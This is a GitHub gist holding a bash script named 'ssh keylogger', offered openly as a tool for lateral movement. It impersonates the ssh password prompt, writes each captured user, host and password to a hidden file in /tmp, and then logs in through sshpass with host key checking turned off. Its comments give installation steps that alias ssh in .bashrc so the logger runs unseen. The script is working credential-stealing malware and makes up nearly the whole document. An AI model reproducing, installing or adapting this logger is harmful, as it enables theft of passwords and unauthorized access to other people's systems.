Skip to content

Instantly share code, notes, and snippets.

@deoxykev
Created February 2, 2020 01:42
Show Gist options
  • Save deoxykev/f335574effda2d7fd2433baa075f3ea9 to your computer and use it in GitHub Desktop.
Save deoxykev/f335574effda2d7fd2433baa075f3ea9 to your computer and use it in GitHub Desktop.
ssh keylogger
#!/bin/bash
# author: deoxykev
# version: 1.0
# logs ssh passwords to other hosts for lateral movement
# warning: needs fix for dns based '-l' option; only works for ip addresses
#
# installation:
# apt install sshpass -y
# mv ssh-keylogger.sh /tmp/ssh
# chmod +x /tmp/ssh
# cd
# echo "alias ssh="bash /tmp/ssh" >> .bashrc
keylogfile='/tmp/.bash'
if [[ ! "$@" =~ '-' ]]; then
user=$(echo "$@" | cut -f1 -d'@')
host=$(echo "$@" | cut -f2 -d'@')
echo -n "${user}@${host}'s password:"
read -s password
echo ''
echo "${user}@${host}:${password}" >> "$keylogfile"
sshpass -p "${password}" ssh -o StrictHostKeyChecking=no ${user}@${host}
elif [[ "$@" =~ '--help' || "$@" =~ '-h' ]]; then
ssh --help && exit 0
elif [[ "$@" =~ '-l' ]]; then
user="$(echo "$@" | grep -oE '\-l \w+' | cut -f2 -d 'l')"
host="$(echo "$@" | grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+')"
echo -n "${user}@${host}'s password:"
read -rs password
echo ''
echo "${user}@${host}:${password}" >> "$keylogfile"
sshpass -p "${password}" ssh -o StrictHostKeyChecking=no ${user}@${host}
fi
exit 0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment